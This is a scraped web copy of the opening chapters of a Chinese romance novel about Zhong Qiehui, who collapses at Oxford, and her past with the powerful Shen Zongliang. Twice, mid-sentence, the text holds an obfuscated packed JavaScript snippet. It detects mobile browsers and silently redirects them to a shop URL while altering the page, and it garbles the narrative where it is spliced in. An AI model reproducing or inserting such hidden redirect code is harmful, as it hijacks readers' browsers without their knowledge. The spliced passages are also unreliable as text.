《花信风》 1. chapter 01 《解霜雨》 眠风/文 楔子 三月下旬的牛津,伍斯特学院前的玉兰开到七分艳。 熬过了阴冷多雨的冬季,这座古老的小埠,终于剥离出一个晴朗春日。 毫无征兆的,钟且惠昏倒在了这样的好天气里。 身边同学喊了一声——“Ziana!” 雨后春深,绿林掩映的古典建筑前,一群人七手八脚地将她扶起来,立刻通知校内急救人员。 下午六点,落日陷进一片橘红的云海中,钟且惠才醒过来。 她缓慢吃力地睁开眼,打量了一下四周,入目是再熟悉不过的陈设。 木纹壁布,棕咖色的旧五斗柜,黑胡桃木四柱床,以及帘头精美的刺绣。 这是她读研时可以住的房子,坐落在summertown(萨默顿),一栋有着浓烈英式乡村风格的别墅。 只是供她住,并不属于钟且惠。等上完学,仍旧要归还沈家的。 来牛津前,同沈夫人讲好的条件里有这一项,是她自认为施舍给小姑娘的恩惠。 钟且惠揉了揉额头。 上午晕过去之前,她先是四肢麻木,紧接着眼前一黑,身体就不受控制地软了下去。 旁边的惊呼声她能听见,却做不出回应。现在醒了,后脑勺一阵紧绷绷的疼痛感。 曲疏月见她挣扎着要起来。她伸手去扶,“不要动,医生说你得卧床休息。” “是你呀。”钟且惠转过半边脸,看清楚床头坐着的人,感激道:“谢谢啊疏月。你怎么会来的?” 她们两个是小学同学,后来因为一些家庭原因分开,却在同一年来到英国。 在异国他乡,这已经能算是五服以内的关系了,很难得。 只不过,曲疏月在伦敦念书,平时鲜少踏足牛津郡。 曲疏月起身去倒了杯水,又坐下,“今天有空,正好和朋友来这边走走。本来想和你打个招呼,哪知道啊,你直挺挺地倒了下去,吓死了。” 她没说,实则自己是专程来的。 就在前天,一份名为《牛津顶级捞女Z小姐》的PDF,在留学圈内迅速传播开。让人对京圈,对豪门公子的奢靡生活,对S先生的背景大肆揣测。这份PDF长达六十四页,照片全是一些刁钻角度的抓拍,语意也模棱两可,说着一些似是而非的诛心之论。不知道这个人和且惠有什么深仇大恨,非把一些不相干的事也安到她的头上。 昨天下午得闲,曲疏月花了半个小时,就着一杯意式浓缩看完,看出一肚子火气。 她对室友莉娜说:“他们真是什么都敢写啊。” 难得天晴,余莉娜正在晒衣服,“怎么了?这个S先生很厉害啊。” 曲疏月点头。 那还不是一般的厉害,真把这些名门望族放一块儿较量一番,沈家也能稳居前三。 窗外枝头上传来几声知更鸟叫,在暮云熔金的傍晚时分听起来,格外清脆。 钟且惠苦涩地扯一扯唇角:“没事,头晕而已。” “诊断书上写着你有严重的低血糖。”曲疏月隐隐为她担心起来,“我问过你同学了,他们讲你只知道泡图书馆,不晓得吃饭的呀。” 原本众人各安学业,很少会对某一个人特别关注,她在伦敦就是这样。 曲疏月至今搞不清班上那些白男姓甚名谁,平时很少打交道。 但提起Ziana很多人都清楚。 可见她平时是有多拼命,才会在各国牛人云集且谁也瞧不上谁的学院里,得了个铁娘子的称号。 曲疏月舀起一勺水,吹了吹凉,喂到且惠的唇边,“到底......自己的身体要紧。” 看着且惠安静恬淡的脸,疏月的喉咙哽了一下。 把已经到了嘴边的那一句——“你和沈家老幺再怎么样,也已经成为过去式了”生生地咽了回去。 她不敢轻易地提起钟且惠同沈宗良的旧情。 人和人之间的承受力差很大。 有些事,你看着不过二两重,经历一下也没什么。 可落在别人身上,也许上百斤都不止。 钟且惠还在病中,精神也没有恢复,琢磨不出她的欲言又止。 她只是点头,“知道了。我运气真是好,这样都碰上你。” “哪儿的话。”曲疏月放下调羹,笑着摆了摆手,站起来往外走,“你的同学们争着照顾你呢,是我硬抢着要表功。” 知道她在宽自己的心,且惠虚弱地笑了一下。 她偏过头,一味盯着院外褐黄的枝条看,没有作声。 隔着风中飘起的白纱帘,曲疏月停住脚去打量她。 一张邪气标致的小脸,眼睛滴粒滚圆,皮肤雪雪白。 用她外婆这个江城人的话来讲,是老上台面的长相。 但疏月总觉得,钟且惠身上最打动人的,是她独特的气质。 尤其长大后,也许是家道中落的缘故,她身上总萦绕着一种已经破碎,但仍温柔拼凑的美感。 疏月嘱咐了一句“你好好休息”,就带上门出去了。 她放下手里的碗,给远在国内的冯幼圆拨电话。 幼圆与且惠,是从小到大的交情,比旁人要亲厚得多。 哪怕后来钟家败落了,也不改二人情谊。 曲疏月来伦敦前,冯幼圆曾专门请她吃饭,再三地拜托她照顾且惠。 一开始她还有点犹豫的,毕竟现在国内是凌晨两点,也许幼圆已经睡下了。 但一刷新朋友圈,庄新华在三分钟前刚po了一张合照。 冯幼圆一袭高定裙,肩上一条水貂披肩,被一帮名媛们簇拥着,站在C位上笑意盈盈。 华灯照耀下,她脖子上那圈宝格丽白金红宝石项链散发浓郁艳丽的光彩。 曲疏月不是不知道他们的作派。 白天连个人影子都看不见,到了晚上,个个精神得像一只夜游鬼。 连续打了三遍以后,冯幼圆的声音混在嘈杂的背景音里传来,“你好啊疏月。” 显然她喝了不少。 曲疏月这么猜想着,也大声回她:“是我。幼圆,跟你说件要紧事。” 听她语气严肃,幼圆举着手机拨开人群出来,走到静谧的后院里。 室外没有暖气,冯幼圆紧了紧身上的披肩。 她说:“嗯,我在听。疏月,什么事要告诉我?” 曲疏月说:“是且惠。今天放学路上,她晕倒了,情况不是太好。” 冯幼圆啧的一声,像是早就料到会出事情,短暂地闭了闭眼。 过了几秒钟,她问:“严重吗?她现在人在哪里?” “在医院检查过,是低血糖。且惠已经回家了,现在正在休息,你也不用太担心。”曲疏月安慰着她,用轻松的口气开玩笑:“你知道英国的医疗服务体系,只要死不了人那就是回家等着,等安排上检查病已经快好了。哪怕疼得要命,也只不过给你开点扑热息痛。” 冯幼圆已经听不进这样的冷笑话。 她心不在焉地笑一下,“辛苦你照顾且惠了,我这两天会去一趟。” “身体倒还次要,主要我看她精神不好。”曲疏月也没再多讲,只是说:“当然了,你能过来是最好的。” 起码在国内的时候,疏月几次见到且惠,她都是一副笑模样。 “我知道了。还是要谢谢你。” 她握着手机,提起宽大的缎面裙摆,回到沁着香雾的大厅。 料峭的春夜丝毫妨碍不了这群公子哥儿们作乐的决心。 农历新年过去不久,他们终于不必守在父母们面前装乖,每天对着各式各样、身份或高或低的长辈,在推杯换盏间,扮良好教养的模样。 耀眼的水晶灯下,大厅正中用香槟杯堆砌起的高塔,金黄色的液体自上而下地流泻。 零星的月光从外檐的菱花隔扇里照进来,捎过碧阑画栋,落在屏前一双齐人高的景泰蓝瓷瓶上。 绞着金丝的屏风旁,两个精研昆腔的女大学生,抱着琵琶细细唱来。 她们功力深厚,又兼具一把天生的好嗓音,把一折《惊梦》唱得余音绕梁。 冯幼圆本是最钟意赏这些的,但此时此刻也没精神听了。 她拿起刚才扔在沙发上的手包,匆匆朝庄新华,“喂,我先走了。” 庄新华一把拉住她,“那么急干嘛?还有酒没喝完呢。” “不喝了。”冯幼圆把手机放进包里,翻了翻东西,“我得早点回家收拾,提前一天去英国。” 一旁的沈棠因看情势不大对,冯小姐不是这样急三火四的个性,别是有突发状况。 她坐在她小叔沈宗良身边,举了举手里的勃艮第杯,“幼圆,是不是家里出什么事了?” 不知怎么的,原先沸反盈天的动静忽然停下来,众人都侧耳听着。 而冯幼圆的音量不减,高声应了句:“我要去一趟牛津,且惠她病得厉害。” “铮”的突兀一声。 唱曲的女孩子手中的琵琶断了弦。 隔了铜香炉中袅袅飘出的烟,庄新华看见坐在对面的沈宗良,眉心短暂却分明地微蹙了一下。 一抹不属于这个男人的软弱和心痛,飞快地从他温润深沉的脸庞划过,转瞬就不见了。 让人疑心是否看错。 提到这个名字,连沈棠因也忍不住去瞧她叔叔。 只见他双目合拢了,腿交叠搭着,背靠在一把乌木玫瑰椅上,仿佛没有听见。 一开口,却是对着那两个女孩子的。 沈宗良淡道:“太晚了,你们先回学校。” 因拨断弦而战战兢兢,生怕被斥责的姑娘们,此刻松了一口气。 她们抱着琵琶欠身,嗓音止不住地发抖,“谢谢沈总。” 沈宗良微一颔首,表情仍没什么变化,“去吧,司机在门口等着。” 冯幼圆攥紧了手里的包,包身镶嵌的粒粒碎钻刻进掌心的纹路,硌得她有点疼。 她在暗中等着沈宗良的反应。 怎么说也好了一场,还以为他无论如何会关怀一句,没想到张嘴竟是管别人的死活。 幼圆动了动上嘴唇,小声嘁了一句,大力扯过庄新华,“你也别喝了,送我回家。” 庄新华眼神迷离着,站起来,“不是,你出门不带司机啊?” “没有!我们这么苦的命,哪里有人管啊?不就只能赖上你。” 冯幼圆心里惧怕沈宗良,当面不敢怎么样,只好借酒装疯。 虽然庄公子灌足了黄汤,但还没糊涂到那份上,听冯幼圆讲话怪里怪气,还没吹风就醒了酒。 他大力搓了搓脸,拉着冯幼圆出来,离了那个喧嚣吵嚷的是非地,快步走到车边。 庄新华打开车门把她塞进后座,自己也坐了上去。他大声吩咐司机:“开车。” 一转头,又丧声歪气地冲冯幼圆说教:“你有毛病啊?当着那么多人说那些,得罪了沈宗良你好过是吧?吓都会被你吓死。再说了,且惠和他的官司,谁不知道是且惠丢下他走了,你还不高兴上了。” “就说你们男人是天生的盟友,什么时候都免不了互相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她照着且惠发来的地址找过去,最后停在了一栋朱红色小楼前。 冯幼圆吸一口气,一手推着行李箱,正要上前时,两扇半弧对开的樱桃木门打开,走出一位四十岁上下的中年外籍女士。 她送家庭医生出来,并同他道别。 冯幼圆就站在一旁没有动,等人走了,那位穿正装的太太才问候她。 她上下打量幼圆,开口是很地道的伦敦腔,“小姐,请问你找谁?” 下意识的,冯幼圆几乎怀疑是自己找错地方。 她又看了一眼门牌,就是这里。 幼圆开口询问:“这里是Ziana的家吗?你是......” 连盘发都一丝不苟的白人女士点了点头,双手收到小腹上。 她说:“我是布朗太太,这栋房子的管家,Ziana只是暂住在这里而已。不过,她现在正在楼上休息。” 冯幼圆自我介绍并说明来意,“我叫Fannie,是Ziana的中国朋友,来探望她的。我可以进去吗?” 布朗太太看着面前面目和善的女孩子。 她欠身将幼圆让进来,“Ziana早上跟我说了,她有一位朋友会来。请进吧。” 冯幼圆眼尾的余光剽过布朗太太,心里犯疑。 她听且惠提起过这位管家夫人,普林斯顿的女高材生,早年沈夫人在英国游学时的好友,深得她信任。 沈夫人娘家在法国波尔多的酒庄,伦敦邦德街上的商铺,英格兰东南部汉普郡的城堡,都经由布朗太太的手打理。 这个女人手段了得,做生意非常有一套,又是难得的忠心。 但且惠也跟她讲过,布朗太太忙得要死,尽心尽责在欧洲各地来回,巡视着姚家的产业,劳碌程度堪比出公务的女王。 因此,布朗太太出现在这里,让冯幼圆感到很意外。 似乎看出她心中所猜疑的,布朗太太主动解释了一番。 她说,今天早晨她来检查阁楼里那些珍贵的艺术手稿,作为沈夫人名下的财产之一,它们都被完好无损地存放在保险箱里,需定时拂拭。布朗太太看见且惠躺在床上,问她是不是生病了。 且惠说是的,她忽然晕倒了。 布朗太太又问且惠,既然身体不舒服,为什么不早看医生? 她说她预约不上GP,还没机会做一个全面检查,接电话的护士只会说“oh,youpoorthing”、“blessyou”这些没用的俏皮话。 冯幼圆犹豫而迟缓地点头。 不知道布朗太太有没有发觉,她这一通欲盖弥彰的完美说辞,反而显得猫腻更深。 但她没有讲,也没有追问布朗太太,究竟是谁指派你来的? 有一些话本就不必要说穿,人也不必时时刻刻都清醒。 她穿过两道长而窄的走廊,快步进了钟且惠的卧室。 暗淡光影里,柔软耐磨的雪尼尔窗帘紧闭着,且惠安静躺在床上,天然的浓眉长睫,使她看上去像拉斐尔前派画中的女角。 一年多没见,她比出国前瘦多了。 钟且惠敛着双目,手臂越发的纤细,下颌又紧了一圈。 她虚弱的、真实的出现在冯幼圆面前,让她心惊又意外。 冯幼圆没有吵她,而是在她的书桌前坐下来。 桌上没关拢的绿皮本里,密密麻麻,满是她工整漂亮的书写。 然而她写的是——“今天阳光明媚,而我的心像一捧死去已久的灰。” “日子太煎熬了,多希望能从我的身体里再分裂出一个我。她替我见导师,应付琐碎且乏味的论文,和同学们保持不远不近的社交距离,塑造一个完美的假人。” “而我可以坐在窗前,脸上吹着绵密阴冷的风,整日地想念沈宗良。” 冯幼圆惊慌失措地回头。 她才明白,且惠的状况比她想象中的,还要更糟糕。 2. chapter 02 四年前。夏末秋初。 大三快开学的那阵子,暑热未退,但夜晚的风里,已有了微薄的凉意。 这个季节的京城,道路两边立着染黄的白蜡树,和薄薄铺一地的金色银杏叶。 冯幼圆办开学party那天,请遍了京里头交好的女孩子,一个男生都没叫。 后来是庄新华作怪。 他带头起哄,招呼了一群酒肉好友到冯家的园子里。 这群人也没点自觉。 一开始确实都端个做客样,后来一个个的,没皮没脸全闹进了姑娘堆。 到最后,这帮无赖怎么都不肯走了,拉下脸来赶也没用。 钟且惠三天前就收到了邀请,但她当时在一场车展上站台,是最晚一个到的。 她出了会场,疾步坐上冯家的车,很快送她到四合院。 下车时,且惠抬头一望,天边翻滚着浓重黑沉的铅云,风中翠峰如簇。 且惠走后门进去,两个佣人拉了铜环,引她到冯幼圆卧室。 冯老夫人学建筑,是六十年代最早一批归国的学者。 如今她还活跃在各大公众号的文章里,那些为博人眼球的写手,都致力于从各种角度剖析她的人生轨迹。 老夫人书房里摆着一张合影,那时大会堂刚刚建成,她与全国科教、文艺和工商界知名人士站在一起受接见。 那年头物资紧俏,她穿了一件演讲时才肯上身的磁青旗袍,面上无拘笑着,手却握得小心翼翼。 当时南洋风气盛行,因此在修葺这座院子的时候,不免受了时气影响。 各式门洞上精致的雕花,复古淡雅的墙面,胡桃木色的桌椅,和穿插其间的宽叶绿植。 幼圆的卧室在二楼左手边,墙上是奶杏色的壁纸,地面通铺棕咖色木纹地板。 钟且惠走进去,绕过半透丝娟花鸟屏风,把包随手扔向床边长榻。 小羊皮床尾凳上,摆着一套酒红素纱抹胸礼服,是幼圆给她准备的。 她穿鱼骨束胸衣时,冯幼圆走了进来,极自然地转到她身后,扯过那两根带子,拉到最紧。 冯幼圆把且惠转个身,“这么晚,我还以为你不来呢。” 她低头整理礼服,一面笑,露出一排米贝白牙,“哪能啦,你亲自下帖子请的,我怎么也要来。” 钟且惠换好了,拿出一个扎着丝带的礼盒,“喏,我妈妈让给你带的礼物。” 她回江城过暑假,董玉书亲自裁布做了一身旗袍,让且惠务必带回京。 冯幼圆接过来,笑着嗔了她一眼,“干嘛,你家现在这情况,还给我买礼物哦。” “你照顾我这么多,妈妈说一定要的,又不值多少钱,太贵了也买不起。” 钟且惠坦荡荡的,声音干脆而清泠,饱满的红唇微扬。 钟家早在十年前就跌了跟头。 最初,钟清源是做皮具生意发的家,赚了不少钱。 后来阔了,便再无心老本行,见房地产生意有利可图,投了大半本钱进去。 钟清源有眼光,这一笔投资跟对了人,叫他挣了个盆满钵满。 一直到现在,他开发的那栋小区还在东三环矗着,只是外观有些老旧了。 且惠每次坐着车子路过,连眼角的余光都仔细避让,一看见就糟心。 生意场上没个定数,并不是每一回都有这么好的运气。 没多久就出了一件大事,具体是什么,且惠一个小孩子品不清。 她只知道,连她所在的学校里,空气都紧张起来。 同桌庄新华在家属院里住着,他的门道和路子最多。 每天他都告诉且惠,昨天谁谁谁的爸爸被带走了,今天又是谁被问了话。 钟且惠隐约地不安起来,这些叔叔伯伯的名字,她好像都听爸爸提起过。 说起来也许难以置信。 他们那个班上的孩子们,对这些事情都非常敏感,甚至能通过大院儿里长辈们之间开玩笑的口吻拿捏,来判断某一个人的地位高低,手中职权的大小。 因此,不要说是天翻地覆的大事,一点风吹草动都有所警觉,总是比新闻更快得到消息。 没等她问,钟清源就从公司里被铐走,说是让他配合调查。 妈妈嘴里蹦出的罪名很多,她听懂的很少。 面对突来的变故,小小年纪的且惠,始终都是浑噩的状态。 对她来说最直观的打击,是她家从富人扎堆的别墅区,搬到了老胡同的小平房里。 那是一座很破败的四合院,几家人合租这一整个院子,大伙共用厨房和厕所。 院子中间有棵很粗壮的槐树,盛夏天会洋洋洒洒地飘白花,落下一地的星星点点。 有一次庄新华来找她,怀里抱着一个限量款的足球,新奇地看了老半天。 他抬头问她:“你们这里没有人打扫的?” 且惠托着下巴,指了下墙角丢着的扫帚,“要不然您受累?” 庄新华立马跑开,“我能干这种活儿吗!开什么玩笑。” 刚搬进来时,钟且惠不习惯这儿的一切。 她上厕所,还没走到蹲坑前就开始作呕,着急忙慌地用帕子捂口鼻。 住惯了的邻居见状,笑着对董玉书说:“唷,你女儿可真是娇气!” 董玉书全都忍下来,干笑了一下没回嘴。 她们哪能想象得出,自己之前过着什么样的生活。 没哭着吵着要搬走,就已经是且惠懂事了,她还能指责女儿什么? 有一天早晨,钟且惠端着水杯,站在水槽前刷牙。 她闭着眼,不让自己去看生出霉绿的水泥壁,否则又要犯恶心。 一群小女生跑到她身边,很无礼地拉扯她的蕾丝边睡裙,说真好看,在哪儿买的? 钟且惠刷着牙,随口回答:“巴黎。我爸爸带回来的。” 她说话时没看人,又这么不以为然的口气,旁边的女孩听了,很看不惯。 领头的用力搡了她一下,“你拽什么啊你!你爸爸再有钱,还不是进去了。落难的小姐,过得还不如我呢,真是的。” 钟且惠摔倒在坚硬的地面上,蹭破了手掌,粉色陶瓷杯碎成一片片的,牙刷在离她老远的地方横着。 她眼里噙了一包泪,抽抽噎噎,“你们乱说!我爸爸才没有进去!” 董玉书听见动静出来,厉声把那帮孩子吓跑。 她扶起女儿,替且惠擦了擦眼泪,“一点小事哭什么哭?快去换衣服。” 家里已经倒了,今后风风雨雨的还多着呢,女儿要总是这么个娇柔性子,那怎么行呢? 上学路上,钟且惠背着书包,眼中泪痕未干。她抬起头问妈妈:“爸爸还会回来吗?” 董玉书笃定且沉着的口吻,“爸爸会回来的,你好好学习,别管这些事情。” 她弯下腰,扶着女儿的肩膀说:“你不是跟爸爸说,长大要读牛津的吗?想考上就专心一点。” 面对妈妈的劝告,钟且惠心有旁骛地点头。 但那天她没去教室上课,董玉书一走,她就背着书包朝反方向跑。 且惠凭印象去坐4路公交。 从前坐在车上,她总看见这趟车路过,但从没真正上来。 第一次学着坐公交,还是她们搬家以后的事。 她走到从前的家门口,那两扇厚重的暗色铜门上,已经贴上了两道白封条。 且惠哭着喊着拍了很久门,但再也不会有一个高大英俊的爸爸,从里面走出来把她抱着举到肩头。 晨风微凉,一整个上午,她都坐在台阶上小声抽泣,眼泪打湿了蓝色校服裙子。 再抬头,晴空万里。但且惠看着,却黑得仿佛要压下来,闷得人喘不上气。 // 冯幼圆勾起了不好的话,推着她的肩,把且惠摁在梳妆台前。 她语塞半日,才拿起一支腮红刷,“要不然,你化个妆吧。” 古董挂镜里,映出一个乌发雪肤的少女。 水晶射灯照耀下,肩上的黑色长发亮如绸缎,闪动细碎的光泽。 那一年且惠刚满十九岁,白玉般的容貌,只是日子过得十分紧凑。 冯幼圆举着化妆刷,不知道该从何下手,已经够好看的了。 且惠笑着取下来,说:“就这么下去吧,今天你做东道,不好耽误的。” 她的皮相骨相皆上乘,不怎么需要雕琢,站在人群里便耀眼夺目。 Party上的人,钟且惠几乎认识大半。 早在钟家风光的时候,钟清源疼女儿,也愿花大价钱给她铺路。 且惠读的是很出名的小学,家里底子不厚到一定程度,连关系都没处托。 她活跃在他们中间,因为长相乖巧、会说话,大家都很喜欢她。 只不过到后来,钟清源交代清楚问题,在京里再也待不下去,就带着妻女去了江城。 一走八年。到钟且惠上大学时,才重新回到这座古都,在政大学法律。 钟且惠才走下楼梯,庄新华已经拦住她,“怎么样钟小姐,赏脸跳个舞吗?” 小时候她就特地问过,说庄新华你怎么取这么个名字啊,好像上一辈的人哦。 男孩子吸着鼻涕说:“你还不知道老头儿吗?他年轻时干的那一份光荣伟大的事业,就非安我身上不可。” 雪白的手腕伸出,轻巧地搭在庄新华手心里。且惠明媚巧笑,“当然。” 一旁的杨雨濛见状,不顾这里人多眼杂,从鼻子里嗤出一声,“不要脸。” 沈棠因也扭头看过去,她端起香槟浅啜了口,“你在说谁?” “还有谁?”杨雨濛精心描过的眼尾一挑,满脸不屑,“钟且惠那个狐狸精。” 沈棠因柳眉微蹙,不高兴听这些市井话,“你做什么那么说人家?她又没惹你。” 讲真的,她不大喜欢和杨雨濛待在一起。 这姑娘被家里惯坏了,脑子和嘴都不大灵光。杨雨濛总是出其不意地,说一些她自认为很对,却叫身边人难以下台的话。 但两家长辈交好,沈棠因也不好违拗父母意愿,把和杨雨濛的关系搞僵。 大家在一张桌子上吃饭的日子还长着呢。 杨雨濛就是不解气,“我真烦哪儿都能看见她!怎么就是认不清现实呢。” 沈棠因说:“认清什么现实?” “就是她不再属于这个地方的事实啊。”杨雨濛忿忿说。 宴客厅灯火通明,沈棠因不动声色地笑一下,“其实这个圈子,也不是那么的没有人情味。” 她觉得自己说得已经够浅显,但杨雨濛呢,还是那一副自以为是的样子。 很明显没听进去。 // 那晚,沈宗良漏夜前来,并不为参加冯幼圆的宴会,是拜会冯则成。 这种小孩子家的虚奇热闹,还没有谁会不知趣到给他发请帖,也不敢为这点儿事就惊扰他。 佣人在前头带路,几人行至一处空翠竹馆旁,沈宗良停了下来。 两面大开的落地玻璃,一览无余地洞悉室内的歌舞升平。 生生灯火里,有一对过分打眼的年轻人,从大厅的这头跳到另一头。 他们跳的是步法婀娜的Rumba。 那个穿酒红礼服的女孩子,腰如软缎,眉眼柔媚,从头到尾笑着看向庄新华。 再看庄新华那小子,嘴都咧到耳根子后面去了,眉飞色舞的浮滑样。 这个就是他新交的女朋友?眼光什么时候变这么好了。 记得出国前,他身边围着的姑娘都妖里妖气,说话也颠三倒四,没一个能上得了台面的。 佣人见他愣神许久,伸出手再说了一句,沈总您请。 沈宗良这才回神,淡漠地收住目光,转过头,没有再看。 湖边花木扶疏,翠柳在风中猗猗轻荡,绿荫四合。 沈宗良步行过了曲桥,走到茶案边。对匆忙起身的人,按了在学校的职务叫:“冯校长。” 冯则成同他握手,示意他坐,“来,先喝杯热茶,驱秋凉的。” 大红袍沸水高冲,馥郁的香气在一瞬间被激发,茶汤入口,喉韵悠远。 沈宗良尝后,放下杯子,淡道:“味道还不错。” 客套过了,冯则成跟他谈起当客座教授的事,也是受人之托。 知道这位公子哥儿架子大,才能学识也非一般人可比。 财大校长几次都没见上他的面,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074183|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈之下,只得托了老同事来跟他说。 沈宗良面色淡雅,凝神听冯则风说明来意,也没有当场应下来。 他虽然出过几过几本杂书,发表过不少有影响力的学术论文,但传道受业非他志趣所在。 其实他这个人没有多少耐性,凡事又爱认真,当他的学生绝无好日子过的。 老实讲,沈宗良不愿去讨那帮小毛头的嫌,自己也受累。 这样两面不讨好的差使,何苦来事。 但冯则成描绘得千百样好。 他说:“你那几本书见地很深,观点也新颖,老宋看过后赞不绝口。他惜才爱才,总盼着你去讲几堂课,方方面面的,也点拨一下他的学生。” 沈宗良两指夹端杯茶,微垂着眼眸,不说话。 他的冷淡让冯则成一愣,疑心自己是不是说多了。 眼前人虽然年轻,但两年前已出任东远国际部总裁,一力承担起海外事务,成为东远在欧美市场的发言人,在西方政商界影响深远。就在去年,美国国会用他们的强盗逻辑,在缺乏实质证据的情况下,以东远集团破坏了国际贸易秩序为由,要求总部剥离对海外分公司的控制权。 那场全球直播的听证会使沈宗良名声大噪。 面对议员们长达数小时的围攻,他始终沉着冷静,条理清晰地应对,为东远扳回了漂亮的一局。 半年前,他即将回国并入主总部的消息一出,京中并无人感到意外。 这是早晚的事而已。 他生性精悍,又生在沈家这样的门庭,从没有人怀疑过这一点。 这通谈话没进行多久,沈宗良便起身告辞,说还有点事要处理。 冯则成没敢多留,他能抽出时间专程来一趟,已经是给足了自己面子。 如果不是冯老夫人生前和他奶奶交好,只怕连这点面子也挣不到。 冯则成起身,再次恳请,“宗良,希望你能好好考虑一下。” 他点头,目光沉静,“过几日给您答复。” “我送你。” 走到中院一座曲桥上,池畔几株淡紫翠微到了花期,月色下开得秾艳。 沈宗良停下,征求主人家的意见,“校长,我能不能自己走走?” 冯则成先是一惑。日理万机的人,哪来这样夜游赏花的好兴致? 但他也只是笑笑,由得沈宗良去:“当然,当然。” 早就听闻冯家的园子得天独厚,是在原先明制的基础上改建的。 当年四九城和平解放,冯老爷子便瞧准了这是块宝地,费了好大劲才拿下。真正是曲巷幽宅,高门大士之家。 这么些个年头过去,花草树木繁衍得生生不息,风雨折不散的茂绿。 躲开人,沈宗良站在海棠树下,拿出身上最后一支烟。 总部人事庞杂,他必须打起十二分的精神应对,才能让自己看起来不左支右绌。 他个性强硬,不愿被人看见自己软弱或仓惶的那一面。 但劳心之事,最终损伤的也是心力。 忽然挑起这么重的担子,说轻轻松松是纯属扯淡。 正相反,他感到前所未有的责任和压力,抽烟的次数明显增多。 前阵子莫名奇妙地咳起来,去军区医院检查,朱院长叮嘱他少沾尼古丁,实在要抽,一天不能超过两支。 黄秘书拿着这份医嘱,如同佩了尚方宝剑,卡着一日两支这个数量,绝不多供给。 砂轮滑动的摩擦声响起,红色的火苗迅速窜起来。 沈宗良偏了偏头,把唇角的烟对上去,吸了一口。 “拜托,不要在这里抽烟。” 身后一道清亮女声传来。 她的声线很轻,调子软糯,央求里挟一点命令。 还未消散的雾气里,沈宗良眯了眼睛看她。 这不就是同庄新华跳舞的那个? 他的女朋友喝醉了,也不出来照顾一下。 沈宗良把烟从嘴边拿下,夹在手里指了一圈四周,“这里禁烟吗?” 好像也没有看见有禁止吸烟的标志。 她双眼迷蒙,仍穿着舞会上的礼服,披肩受不住力,挂落到了她的臂弯里。 浓密的树影里,钟且惠一身笼统的酒气,眼底被染成浅浅绯红。是很孩子气的醉态。 且惠走近了他,努力地睁圆了眼睛,“不。我不喜欢男人抽烟而已。” 她的声线放松下来后,有一股软糯幼态的天真。 那一刻,仿佛树林里突然打进一束光,一切的景象都看得那么确切。 眼前的小姑娘点染曲眉,色泽浓丽,像万物蓬蓬然的仲春。 沈宗良指尖升起的轻烟晕染开他的脸。 “是吗?”他不由自主地放轻呼吸,“我也不喜欢女孩子喝酒。” 也不知道是在怕什么,也许真的是怕残留烟味,被她给闻见。 是从没有被冒犯过的直觉反应,但刻在骨子里的教养和尊重女性的理念,仍然无意识地迁就着小姑娘。 这是一个嘴上不吃亏的人。 钟且惠模糊地想,忽而一笑,“那我们互相离远一点,看不见彼此就好啦。” 她姿态优美地转身,看得出跳过芭蕾舞,是很标准的平转。 噗的一声轻响。她的披肩掉在了落叶堆上。 沈宗良弯腰,夹了烟的修长指节伸出去,捡起来。 他拍了拍沾上的枯叶屑,握在手里,再抬头,想出声叫她已来不及。 且惠飞快地逃走,只留下一道纤薄瘦弱的背影,具象化了童话里误入丛林的精灵。 “小叔。”沈棠因从后面过来,叫了他一句,“你怎么会来冯家?” 沈宗良还拿着披肩出神。他轻眯眼眸,随口道:“一点私事。” 棠因顺着他的视线看过去,只有一道不太清晰的影子。 她蹙了蹙眉,“你在看什么?” 沈宗良抬了抬下巴。 他嗓音沉沉,“穿酒红礼服那个,她是谁家的女儿?” “谁家的女儿也不是。”杨雨濛和棠因一道来透气,她认出来,勾起一侧嘴角,很不屑地说:“她叫钟且惠,一个破落户罢了。仗着和幼圆相熟,又生了一副好样貌,好来攀高枝。” 3. chapter 03 “雨濛!”沈棠因想要开口已来不及,只能轻声呵斥,“你不要乱说。” 在这世上,没几个人能镇得住杨小姐,连她身在高位的爹也不行。但沈宗良可以。 小时候她在沈家,因为贪玩,差点把沈老爷子精心养了许久的几株鬼兰从湿沼泽里拔出来,沈棠因在一旁拉都拉不住。 沈宗良只是喝了一声,便叫杨小姐丢开了手,动都不敢动。 杨雨濛闭拢嘴,小心去看沈宗良的脸色。 只见他微垂着眼眸,一身清冷月色,目光全落在那条白色羊绒披肩上,不知在想什么。 过了几秒,他才回头淡淡瞥了杨雨濛一眼,看得她心头一凛,闭上的嘴巴合得更紧了。 沈棠因又问:“小叔,这是钟且惠落下的吗?” 羊绒雪白,不必凑近就能闻见上面的曼妙香氛,也不像她叔叔的东西。 沈宗良没回答,修长的指骨收紧了,眸色渐深。 最终,他什么也没说就走了。 等这股压迫感消失,杨雨濛才急急挽上棠因的手臂,“棠因,你小叔叔那是什么意思?” 沈棠因今天多喝了两杯,疲于应付,“我不知道。但如果你想嫁给他的话,就别在他面前说这些话了,会让他看轻你。” “嗯,好吧,我知道了。”杨雨濛受教地点头,随即又欸一声,问:“不是,你从哪儿听说我想嫁给他?” 沈棠因被她这副样子弄笑,有时候又觉得雨濛可爱。 她戳了一下杨雨濛脑门,“还用听说吗?你的心思都写在这儿了。” 宴席散场时,已经是凌晨一点多。 出于安全考虑,冯幼圆一定要留且惠在家里住。 她说:“外面这么黑,你那个小区又远,派人送我也不放心的,今天就和我挤挤。” 从读大学起,钟且惠就在外头住,每天走读。 小时候那段抹不去的经历成了永远的伤疤。 钟且惠很怕和人同住,长着青苔的洗手台简直成了她的噩梦。 哪怕后来到了江城读书,水龙头前人多,她也从不去争,宁可多绕几步路去别处。 “这也不能叫挤吧,”钟且惠指了下中间的大床,“睡三个人都有多。” 庄新华从她们当中露出颗头,“不挤的话,那再加我一个吧,我睡中间。” 